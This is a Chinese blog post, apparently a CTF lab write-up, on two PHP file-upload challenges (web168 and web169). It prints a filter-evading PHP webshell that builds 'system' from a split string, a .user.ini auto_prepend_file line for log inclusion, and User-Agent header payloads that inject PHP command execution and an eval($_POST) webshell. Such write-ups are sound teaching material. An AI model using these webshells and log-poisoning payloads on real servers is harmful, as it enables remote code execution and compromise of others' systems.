web168(基础免杀)

老young可爱

已于 2022-04-08 23:49:56 修改

阅读量542

点赞数

分类专栏： web 文章标签： php web安全

于 2022-04-08 20:29:42 首次发布

本文链接：https://blog.csdn.net/qq_52671379/article/details/124049256

版权

web 专栏收录该内容

43 篇文章 0 订阅

订阅专栏

本文探讨了PHP环境中的一种基础免杀技术，通过字符串重组规避系统函数过滤实现命令执行。同时，介绍了利用.user.ini文件进行日志包含攻击的方法，以及如何通过修改请求头绕过文件类型检测实现远程代码执行。在web170中，虽然增加了文件头检查，但利用技巧仍然有效。

摘要由CSDN通过智能技术生成

web168(基础免杀)

通过测试只可以上传png图片,
但是上传后没有任何回显,
并且对eval,system还有$_POST和$_GET进行过滤,
$_REQUEST还可以用
PHP $_REQUEST 用于收集HTML表单提交的数据。
用$_REQUEST 提交两次数据，一次为参数，一次为函数system
php免杀绕过
miansha.php

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

explode() 函数使用一个字符串分割另一个字符串，并返回由字符串组成的数组。
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];组合为system
上传miansha.png抓包修改后缀为php
在这里插入图片描述访问/upload/miansha.php,直接rce拿到flag

web169

简单测试发现过滤一堆函数，和关键字
在这里插入图片描述但是配置文件任可以抓包上传

在这里插入图片描述尝试日志包含

GIF89a
auto_prepend_file=/var/log/nginx/access.log

在这里插入图片描述修改UA，

User-Agent: <?=`tac ../f*` ?>
User-Agent: <?=`ls ../` ?>
User-Agent: <?=`echo '11111111'` ?>
User-Agent: <?php system('tac ../f*');?>
User-Agent: <?php @eval($_POST['xiaoyu']); ?>